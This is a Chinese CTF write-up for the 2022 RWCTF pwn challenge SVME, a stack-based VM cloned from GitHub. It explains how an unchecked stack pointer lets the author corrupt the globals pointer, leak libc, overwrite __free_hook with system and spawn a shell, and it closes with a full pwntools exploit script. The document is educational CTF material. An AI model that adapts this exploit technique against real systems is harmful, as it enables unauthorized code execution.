2022 RWCTF PWN SVME

2022/1/23 23:06:53

本文主要是介绍2022 RWCTF PWN SVME,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

前言:RWCTF上的一道被打烂了的clone-and-pwn,一开始没搞懂clone是啥子意思,后来队里师傅扔出来一个github链接,才明白原来是直接从github上拉下来的项目,还真是real word

github项目地址:https://github.com/parrt/simple-virtual-machine-C/blob/master/src/vm.c
既然是clone就意味着有源码,有了源码对于做VM题来说就大大降低了我们的逆向难度。

逆向分析

说实话其实main.c在docker文件夹里似乎也给了,懒得打开了,还是扔进ida里面看一下:
在这里插入图片描述
可以看到我们确实没有必要打开main.c了,loader很简单,输入512字节的code,然后连续调用
vm_create,vm_exec,vm_free
而这三个函数在源码中都能找到具体实现,所以下面我们来分析一下源码(感觉应该叫正向分析了hhhhh)

VM *vm_create(int *code, int code_size, int nglobals)
{
    VM *vm = calloc(1, sizeof(VM));
    vm_init(vm, code, code_size, nglobals);
    return vm;
}

给一个vm结构体分配空间,然后调用vm_init

void vm_init(VM *vm, int *code, int code_size, int nglobals)
{
    vm->code = code;
    vm->code_size = code_size;
    vm->globals = calloc(nglobals, sizeof(int));
    vm->nglobals = nglobals;
}

设置一些属性的值,然后给globals分配空间

然后是vm_exec,这个函数包括了一些基础操作,问题在于没有任何对sp指针的检测,也就是说在stack为空的时候仍然可以使用pop操作调整sp指针,这就意味着可以读写stack以外的数据
其指令格式为 opcode / opcode + 操作数,数据类型都是int

每个函数调用栈里都是一个返回地址加上一段空间用来装全局变量,执行RET的时候会把返回地址给ip,callsp减一

漏洞分析

漏洞在于没有对VM的stack有任何检测,所以sp指针可以从vm stack中跑出来,但是vm这个结构又是申请在堆上的空间,无法直接让跑到栈上,那么接下来要如何做呢?
我们主要来关心这四个操作:
在这里插入图片描述
同时配合这个结构来观察:
在这里插入图片描述
可以看到,vm中有两个指针,一个指向code,一个指向global,global是申请再堆上的一块空间,用来装全局变量,code则是指向栈上我们输入的code
可以看到,在进行STORE的时候,如果offset值为负,则可以修改code指针和globals指针,而进行GSTORE和GLOAD的时候,都是通过global指针来确定global的位置的,此时如果global改成code指针,就可以利用GSTORE和GLOAD进行栈上的任意地址读,这里的读指的是将数据放进VM stack中,不是打印出来。

我们放进gdb中调一下:
在这里插入图片描述
其中0x2101大小的堆存放的是VM这个结构体,0x21是global,0x411存放的是打印的帮助信息
看一下VM结构体里的内容:
在这里插入图片描述
可以看到一次是code指针,code_size,global指针,以及global大小,这里由于loade里设置的global的大小是0,所以第四个qword的值为0,此时sp指针指向红色箭头的位置。

因为sp初值是-1,且stack的单位是int所以要先pop一下,让sp等于-2,然后利用LOAD将code指针写到vm stack里

# 
code = p32(POP) #sp=sp-1

code+=p32(LOAD)+p32(-997&0xffffffff)
code+=p32(LOAD)+p32(-996&0xffffffff)

接下来通过STORE,覆写global指针为code指针。

# change global ptr
code += p32(STORE) + p32(-992&0xffffffff)
code += p32(STORE) + p32(-993&0xffffffff)

# store balance
code+=p32(PUSH)+p32(0)
code+=p32(PUSH)+p32(0)

然后利用PUSH平衡了一下栈帧,到了这里,sp为0,global指针被我们修改成了code指针,指向栈段
接下来我们就可以使用GLOAD将栈上的值复制到vm stack中了,我们先来看看code附近有没有能用的libc上的地址:
在这里插入图片描述

我们以libc_start_main+243地址为例,计算一下偏移:
(0x7ffeade18d18-0x00007ffeade18b00)/4=0x86
所以有:

code += p32(GLOAD) + p32(0x87)
code += p32(GLOAD) + p32(0x86)

至于为什么要先放高位再放低位入栈,是因为还需要将这个libc地址转换为需要的system函数地址以及free_hook地址,如何转换呢,通过VM自带的add操作
在这里插入图片描述
可以看到这个add操作它还是以int为单位,所以要先放高四位,再放第四位,然后将计算好的offset入栈,利用add操作修改低四位,这样就得到了想要的函数地址了。

code += p32(PUSH) + p32(libc.sym['system']-libc.sym['__libc_start_main']-243)
code += p32(ADD)

让我们来看一下效果:
在这里插入图片描述
可以看到,确实是把system的地址算出来了,此时sp为2,接下来要把free_hook-8的低四位用几乎同样的方式写进vm stack中

code += p32(GLOAD) + p32(0x86)
code += p32(PUSH) + p32(libc.sym['__free_hook']-libc.sym['__libc_start_main']-243-8)
code += p32(ADD)

然后再次修改global指针,让他指向free_hook-8

# write global ptr ------>free_hook-8
code += p32(STORE) + p32(-993&0xffffffff)
code += p32(STORE) + p32(-990&0xffffffff)
code += p32(STORE) + p32(-992&0xffffffff)
# read the system into the vm stack
code += p32(LOAD) + p32(-992&0xffffffff)
code += p32(LOAD) + p32(-990&0xffffffff)
# write free_hook -------> system
code += p32(GSTORE) + p32(2)
code += p32(GSTORE) + p32(3)
# write /bin/sh\x00 into vm stack
code += p32(PUSH) + p32(0x6e69622f)
code += p32(PUSH) + p32(0x68732f)
# write /bin/sh\x00 on the free_hook-8
code += p32(GSTORE) + p32(1)
code += p32(GSTORE) + p32(0)

这里要注意,此时vm stack里的数据是,free_hook-8的低四位,system的低四位,libc基址的高四位,而写的时候只能按照栈内顺序来写,所以要先把system的低四位存到别的地方,修改完global指针之后再读到stack中,因为让sp++,要么自己push一个东西,要么从什么地方读入一个东西,不能像pop一样单纯修改sp

最后利用vm_free中会free掉global指针的性质,触发free_hook,getshell在这里插入图片描述
完整exp:

from pwn import *

context.log_level = "debug"
context.binary = "./pwn"

'''
typedef enum {
    NOOP    = 0,
    IADD    = 1,   // int add
    ISUB    = 2,
    IMUL    = 3,
    ILT     = 4,   // int less than
    IEQ     = 5,   // int equal
    BR      = 6,   // branch
    BRT     = 7,   // branch if true
    BRF     = 8,   // branch if true
    ICONST  = 9,   // push constant integer
    LOAD    = 10,  // load from local context
    GLOAD   = 11,  // load from global memory
    STORE   = 12,  // store in local context
    GSTORE  = 13,  // store in global memory
    PRINT   = 14,  // print stack top
    POP     = 15,  // throw away top of stack
    CALL    = 16,  // call function at address with nargs,nlocals
    RET     = 17,  // return value from function
    HALT    = 18
} VM_CODE;
'''

p = process("./pwn")
libc=ELF('./libc-2.31.so')
# opcode
GSTORE = 13 # gstore, offset
POP = 15    # pop
GLOAD = 11  # gload, offset
LOAD = 10   # load, offset
STORE = 12  # store, offset
PUSH = ICONST = 9 # push, data
ADD = IADD = 1 # add
HALT = 18
gdb.attach(p,"b* $rebase(0x137e)")


#sp=sp-1
code = p32(POP)

#read code ptr to the vm stack
code+=p32(LOAD)+p32(-997&0xffffffff)
code+=p32(LOAD)+p32(-996&0xffffffff)

# change global ptr
code += p32(STORE) + p32(-992&0xffffffff)
code += p32(STORE) + p32(-993&0xffffffff)

# store balance
code+=p32(PUSH)+p32(0)
code+=p32(PUSH)+p32(0)



# read libc address into vm stack
code += p32(GLOAD) + p32(0x87)
code += p32(GLOAD) + p32(0x86)


# calc system address
code += p32(PUSH) + p32(libc.sym['system']-libc.sym['__libc_start_main']-243)
code += p32(ADD)

# calc __free_hook_address
code += p32(GLOAD) + p32(0x86)
code += p32(PUSH) + p32(libc.sym['__free_hook']-libc.sym['__libc_start_main']-243-8)
code += p32(ADD)


# change the global ptr to free_hook-8
code += p32(STORE) + p32(-993&0xffffffff)
code += p32(STORE) + p32(-990&0xffffffff)
code += p32(STORE) + p32(-992&0xffffffff)

#read system back to the vm stack
code += p32(LOAD) + p32(-992&0xffffffff)
code += p32(LOAD) + p32(-990&0xffffffff)

#write system to the free_hook
code += p32(GSTORE) + p32(2)
code += p32(GSTORE) + p32(3)

#push /bin/sh\x00 into the vm stack
code += p32(PUSH) + p32(0x6e69622f)
code += p32(PUSH) + p32(0x68732f)

#write /bin/sh\x00 on the free_hook-8
code += p32(GSTORE) + p32(1)
code += p32(GSTORE) + p32(0)

# jump to vm_free
code += p32(HALT)

code = code.ljust(512, b"\x00")

p.send(code)

p.interactive()


这篇关于2022 RWCTF PWN SVME的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程